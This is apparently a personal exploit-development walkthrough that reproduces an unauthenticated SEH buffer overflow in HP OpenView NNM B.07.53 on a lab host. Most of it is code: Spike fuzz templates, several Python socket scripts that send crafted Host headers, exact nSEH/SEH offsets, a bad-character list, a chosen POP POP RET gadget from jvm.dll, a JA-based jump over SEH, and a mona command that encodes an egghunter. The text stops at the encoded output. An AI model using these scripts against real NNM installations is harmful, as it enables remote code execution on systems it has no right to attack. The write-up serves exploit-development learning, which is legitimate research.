Exploiting HP OpenView NNM - B.07.53

In DEFCON #16, there was an interesting session on HP OpenView NNM exploitation - “from bug to 0 day” presented by muts. While watching his walkthrough, I found that particular exploit development process was extremely intense and challenging. To better understand the concepts, I decided to take that as an exercise and try to reproduce the same in my local environment.

Environment & Tools

1
2
3
4
5
- 32 bit windows server 2003-R2-SP2 (disabled DEP, enabled ASLR)
- python 2.7 x86, pydbg 32-bit binary, python wmi, pywin32
- HP OpenView NNM release - B.07.53
- Immunity Debugger v1.85, mona.py v2.0
- Kali 2.0, Spike fuzzer, python 3.7.x (exploit scripts)

Web Interface

Install HP OpenView NNM (release - B.07.53) on Windows 2003-R2-SP2.

Browse it’s web interface  - http://172.16.232.198:7510/topology/home to verify everything is up and running.

hpnnm_version

Fuzz Variables

Sniff the HTTP traffic through Burp proxy and identify 5 potential fuzz points (HTTP method, url_path, ip_address, port, user_agent header) on that GET request.

http-sniff

In order to crash the application, create a Spike template - http.spk.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
s_string_variable("GET");
s_string(" ");
s_string_variable("/topology/home")
s_string(" ");
s_string("HTTP/1.1");
s_string("\r\n");

s_string("Host: ");
s_string_variable("172.16.116.198");
s_string(":");
s_string_variable("7510");
s_string("\r\n");

s_string("User-Agent: ");
s_string_variable("Mozilla/5.0 (X11; U; Linux i686;en-US; rv:1.8.1.14)");
s_string("\r\n");

s_string("\r\n");

Process - ova.exe

It is observed that ova.exe process is responsible for listening the network connection on TCP port 7150.

ovas-process

Crash

Attach and run the ovas.exe process through Immunity.

Start fuzzing the http.spk template through Spike fuzzer.

1
generic_send_tcp 172.16.116.198 7510 http.spk 0 0

It is observed that while fuzzing the host header, application crashes.

Verify and confirm the same by inspecting the host header in memory dump.

crash

Analysing the crash scenario

  • SEH and nSEH both are overwritten by fuzz buffer A.
  • It is possible to control / overwrite the EIP after passing the exception to the program.
  • ESP + 0x4C points at the 1025th byte of our fuzz buffer.
  • Approximate 2048 bytes buffer causes this crash.

The Bug

HP OpenView NNM - B.07.53 does not validate the host header while processing any un-authenticated HTTP request. As a result, an attacker can overwrite the SEH chain by sending a large crafted buffer and hijack the execution flow.

Proof Of Concept

Restart ovas.exe and attach it within Immunity.

Set up the working directory for mona.py.

1
!mona config -set workingfolder c:\mona-logs\%p

Send the 2048 bytess buffer to verify and reproduce the same crash with a stand alone python script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3

# author: greyshell
# description: crash ovas.exe with 2048 bytes buffer identified during fuzzing process

import socket

# global constant variable
HOST = "172.16.116.198"
PORT = "7510"


def main():
    # crash buff length = 2048
    buff = 2048 * "A"  # AAAA -> \x41\x41\x41\x41
    crash = buff

    # preparing the GET request
    buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
    buffer += "Host: " + crash + "\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
    buffer += "Content-Length: 1048580\r\n\r\n"

    print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")
    print(f"[+] buffer length: {len(crash)}")
    exploit = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    exploit.connect((HOST, int(PORT)))
    exploit.send(buffer.encode())
    exploit.close()


if __name__ == "__main__":
    main()

Best Buffer Length

Try to play with different buffer lengths to figure out the maximum lengthof the fuzz buffer which produces exactly same crash.

After analysing different crashes, it is obeserved that 3780 bytes buffer can be a good choice.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3

# author: greyshell
# description: crash ovas.exe with best buffer length = 3780

import socket

# global constant variable
HOST = "172.16.116.198"
PORT = "7510"


def main():
    # best buff length = 3780
    buff = 3780 * "A"  # AAAA -> \x41\x41\x41\x41
    crash = buff

    # preparing the GET request
    buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
    buffer += "Host: " + crash + "\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
    buffer += "Content-Length: 1048580\r\n\r\n"

    print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")
    print(f"[+] buffer length: {len(crash)}")
    exploit = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    exploit.connect((HOST, int(PORT)))
    exploit.send(buffer.encode())
    exploit.close()


if __name__ == "__main__":
    main()

nSEH & SEH Offsets

Create 3780 bytes unique pattern through mona.py.

1
!mona pattern_create 3780

Then copy those bytes from C:\mona-logs\ovas\pattern.txt and update the skeleton code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python3

# author: greyshell
# description: find the offset for nSEH and SEH through unique pattern

import socket

# global constant variable
HOST = "172.16.116.198"
PORT = "7510"


def main():
    # !mona pattern_create 3780
    buff = (
        "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0"
        "Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1"
        "Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2"
        "Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3"
        "Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5"
        "Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7"
        "As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9"
        "Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1"
        "Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3"
        "Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5"
        "Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7"
        "Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9"
        "Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1"
        "Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3"
        "Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5"
        "Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7"
        "By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9"
        "Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1"
        "Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3"
        "Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5"
        "Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7"
        "Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9"
        "Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1"
        "Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3"
        "Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5"
        "Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7"
        "De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9"
        "Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1"
        "Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3"
        "Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5"
        "Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7"
        "Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9"
        "Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1"
        "Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3"
        "Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5"
        "Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7"
        "Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9"
        "Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1"
        "Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3"
        "Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9")

    # max crash buff length = 3780
    crash = buff

    # preparing the GET request
    buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
    buffer += "Host: " + crash + "\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
    buffer += "Content-Length: 1048580\r\n\r\n"

    print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")
    print(f"[+] buffer length: {len(crash)}")
    exploit = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    exploit.connect((HOST, int(PORT)))
    exploit.send(buffer.encode())
    exploit.close()


if __name__ == "__main__":
    main()

During the crash, inspect the SEH chain and select the first corrupted-entry and then follow address in the stack.

overflow_seh_chain

It is observed that

  • nSEH is overwritten with pattern => 32674531
  • SEH is overwritten with pattern => 45336745

Leverage mona.py to find the correct offsets:

  • nSEH offset: !mona pattern_offset 32674531 => 3305
  • SEH offset: !mona pattern_offset 45336745 => 3309

seh_offset_found

To verify those offsets, divide the original buffer into four different blocks - A, B, C, D and update the skeleton code with those identified offset values.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python3

# author: greyshell
# description: verify the nSEH and SEH offset

import socket

# global constant variable
HOST = "172.16.116.198"
PORT = "7510"


def main():
    # max crash buff length = 3780
    total_len_buff = 3780

    initial_buff = "A" * 3305  # AAAA -> \x41\x41\x41\x41

    nseh = "BBBB"  # nSEH offset = 3305, BBBB -> \x42\x42\x42\x42
    seh = "CCCC"  # SEH offset = 3309, CCCC -> \x43\x43\x43\x43

    buff_last = "D" * (total_len_buff - len(initial_buff) - len(nseh) - len(seh))  # DDDD -> \x44\x44\x44\x44

    crash = initial_buff + nseh + seh + buff_last

    # preparing the GET request
    buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
    buffer += "Host: " + crash + "\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
    buffer += "Content-Length: 1048580\r\n\r\n"

    print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")
    print(f"[+] buffer length: {len(crash)}")
    exploit = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    exploit.connect((HOST, int(PORT)))
    exploit.send(buffer.encode())
    exploit.close()


if __name__ == "__main__":
    main()

During the crash, the entire buffer is laid in memory in our expected way.

verify_seh_offset

Calculate the length of D buffer = 464 bytess.

d_block_length

Even if we have identified the maximum buffer length but still this length is too small to accommodate an encoded version of final payload.

POP POP RET

Try to identify which modules are not compiled with SafeSEH and ASLR.

1
!mona nosafesehaslr

There are plenty of options.

mona output - nosafesehaslr

Select jvm.dll module and pick up a PPR address => 0x6D6FA245

  • !mona seh -m jvm.dll
  • This command generates the seh.txt.

ppr address from jvm.dll

Update the skeleton code in little endian order = \x45\xa2\x6f\x6d.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3

# author: greyshell
# description: verify the nSEH and SEH offset

import socket

# global constant variable
HOST = "172.16.116.198"
PORT = "7510"


def main():
    # max crash buff length = 3780
    total_len_buff = 3780

    initial_buff = "A" * 3305

    nseh = "BBBB"  # nSEH offset = 3305

    # 0x6d6fa245: pop eax # pop ebp # ret 0x0c |  {PAGE_EXECUTE_READ} [jvm.dll] ASLR: False, Rebase: False,
    # SafeSEH: False, OS: False, v5.0.140.3 (C:\Program Files\HP OpenView\jre\jreActive\bin\client\jvm.dll
    seh = (0x6d6fa245.to_bytes(4, 'little')).decode('ISO-8859-1')

    buff_last = "D" * (total_len_buff - len(initial_buff) - len(nseh) - len(seh))

    crash = initial_buff + nseh + seh + buff_last

    # preparing the GET request
    buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
    buffer += "Host: " + crash + "\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
    buffer += "Content-Length: 1048580\r\n\r\n"

    print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")
    print(f"[+] buffer length: {len(crash)}")
    exploit = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    exploit.connect((HOST, int(PORT)))
    exploit.send(buffer.encode())
    exploit.close()


if __name__ == "__main__":
    main()

After that, set up a breakpoint at 0x6D6FA245 to verify if is possible to land on that address during the crash.

breakpoint_0x6d6e394a.png

However during the crash, when we pass the exception to the program, the SEH address is mangled into 0xA2BEEF45

little endian order: \x45\xef\xbe\xa2

mangled ppr address

It looks like some character translation / filtering is applied on the buffer. Due to this, we now need to find a bad char friendly PPR address.

Bad & Good Characters

Use badchar_detection_HPNNM_B.07.53.py to identify all good and bad characters in a automated fashion.

Script result
1
2
3
4
5
# good chars
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3b\x3c\x3d\x3e\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f

# bad chars
\x00\x0a\x0d\x2f\x3a\x3f\x40\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

detect-bad-char-HPNNM-B.07.53.py output

During crash, ESP + 0x4c pointed at the 1025-th bytes of the fuzz buffer.

Algorithm
  • Start the ovas.exe process:
    • ovstop -c ovas && ovstart -c ovas
  • While sending the buffer, place a test-char at the 1025-th position.
  • if (application does not crash) OR (ESP + 0x4c does not have the value during crash time) then
    • consider that test-char as bad
    • write it down in badchars.txt
  • else
    • consider that test-char as good
    • write it down in goodchars.txt
  • Kill the ovas.exe process:
    • taskkill /f /im ovas.exe
  • Verify another test-char from all character set and repeat the same process and iterate all characters from \x00 to \xff.

Safe POP POP RET

Run find_safe_address.py to identify all safe PPR address from seh.txt.

finding-safe-ppr.py output

Pick up the first address - 0x6d6e394a and set up a breakpoint to verify that.

breakpoint at 0x6d6e394a

Run the following exploit code updated with safe PPR address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python3

# author: greyshell
# description: choose safe ppr address - 0x6d6e394a from safe-ppr-HP_NNM-B.07.53.txt

import socket

# global constant variable
HOST = "172.16.116.198"
PORT = "7510"


def main():
    # max crash buff length = 3780
    total_len_buff = 3780

    initial_buff = "A" * 3305

    nseh = "BBBB"  # nSEH offset = 3305

    # 0x6d6e394a : pop ecx # pop ecx # ret 0x08 | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [jvm.dll] ASLR:
    # False, Rebase: False, SafeSEH: False, OS: False, v5.0.140.3 (C:\Program Files\HP
    # OpenView\jre\jreActive\bin\client\jvm.dll)
    seh = (0x6d6e394a.to_bytes(4, 'little')).decode('ISO-8859-1')

    buff_last = "D" * (total_len_buff - len(initial_buff) - len(nseh) - len(seh))

    crash = initial_buff + nseh + seh + buff_last

    # preparing the GET request
    buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
    buffer += "Host: " + crash + "\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
    buffer += "Content-Length: 1048580\r\n\r\n"

    print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")
    print(f"[+] buffer length: {len(crash)}")
    exploit = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    exploit.connect((HOST, int(PORT)))
    exploit.send(buffer.encode())
    exploit.close()


if __name__ == "__main__":
    main()

As expected, this time that address does not mangle during crash.

0x6d6e394a did not mangled during crash

Pass the exception and land on the breakpoint.

land into 0x6d6e394a

Step through POP POP RET and finally jump into nSEH.

reach to nseh

Jump Over SEH

In nSEH, we can’t directly write a 4 byte jump code to meet D buffer. Because the short jump opcode (\xeb) is a bad char.

Now we need to identify all the safe instructions from our good_char.txt.

Run find_safe_opcode.py and identify all safe instructions. From there find that conditional jump instructions are safe to execute.

finding safe opcode JA

Conditional jump JA (\x77) occurs when

  • CF = 0 and ZF = 0
  • Jump must be within -128 to +127 bytes of the next instruction.

So if we want to jump 4 bytes (i.e. \x04 is a safe character) then the opcode will be \x77\x04

Now at crash point, it is noticed that ZF = 1 and CF = 0.

To make ZF = 0 and to satisfy the jump condition, we can perform a operation that produces a non zero result (i.e decrease the EAX register)

  • DEC EAX => opcode \x48 is a safe char

To satisfy the flag condition (ZF = 0), decreasing the EAX register 1 time is sufficient. However, opcode for this instruction is one byte so we need to fill the another byte with a value (in the stack it will be interpreted as an instruction) that does not impact the ZF flag. Due to this, we can use DEC EAX => \x48 another time as it does not change the ZF flag.

Select the jump offset = \x04 to jump over SEH and meet the D buffer.

1
2
3
# 1035FE34   48               DEC EAX
# 1035FE35   48               DEC EAX
# 1035FE36   77 04            JA SHORT 1035FE59

Update the skeleton code to overwrite nSEH with \x48\x48\x77\x04 and set a break point at 0x6d6e394a.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3

# author: greyshell
# description: jump over SEH and meet D buffer

import socket

# global constant variable
HOST = "172.16.116.198"
PORT = "7510"


def main():
    # max crash buff length = 3780
    total_len_buff = 3780

    initial_buff = "A" * 3305

    # 1035FE34   48               DEC EAX
    # 1035FE35   48               DEC EAX
    # 1035FE36   77 04            JA SHORT 1035FE59
    # little endian format: "\x4c\x4c\x77\x04"  ==> bad char friendly
    nseh = "\x48\x48\x77\x04"

    # 0x6d6e394a : pop ecx # pop ecx # ret 0x08 | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [jvm.dll] ASLR:
    # False, Rebase: False, SafeSEH: False, OS: False, v5.0.140.3 (C:\Program Files\HP
    # OpenView\jre\jreActive\bin\client\jvm.dll)
    seh = (0x6d6e394a.to_bytes(4, 'little')).decode('ISO-8859-1')

    buff_last = "D" * (total_len_buff - len(initial_buff) - len(nseh) - len(seh))

    crash = initial_buff + nseh + seh + buff_last

    # preparing the GET request
    buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
    buffer += "Host: " + crash + "\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
    buffer += "Content-Length: 1048580\r\n\r\n"

    print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")
    print(f"[+] buffer length: {len(crash)}")
    exploit = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    exploit.connect((HOST, int(PORT)))
    exploit.send(buffer.encode())
    exploit.close()


if __name__ == "__main__":
    main()

You can see, during crash, breakpoint is hit and after stepping through POP POP RET, control goes to the nSEH. After that it executes all instructions stored on nSEH and finally jumps forward 4 bytes and meet D buffer block.

jump over seh

Egghunter

At this point, roughly 464 bytes are left in D buffer.

Problem
  • This D buffer suffers from character translation. Due to this, we can’t directly write any shellcode / payload here.
  • Again if we use any existing encoder from msfvenom after eliminating all those bad characters, then the final payload size will be huge.
Solution
  • We can choose a smaller stage 1 payload such as 32 bytes egghunter.
  • We can use a custom encoder that generates less than 464 bytes output for the 32 byte egghunter code.
  • We can write the original shellcode somewhere in the memory that has more space.

Alphanum Encoder

Use mona.py alphanum encoder to encode 32 bytes egghunter payload. This encoder uses only AND, SUB, PUSH operations during the encoding process and those instructions are bad character friendly.

We need to choose a egg marker and that needs to be bad character friendly as well.

lets choose egg_marker = T00wT00W

1
!mona encode ascii -t alphanum -b '\x00\x0a\x0d\x2f\x3a\x3f\x40\x80..\xff' -s 6681CAFF0F42526A0258CD2E3C055A74EFB8543030578BFAAF75EAAF75E7FFE7

It generates the encoded_alphanum.txt inside mona-logs\ovas directory.

1
2
3
encoded egghunter in hex format, egg_marker = T00wT00W
=======================================================
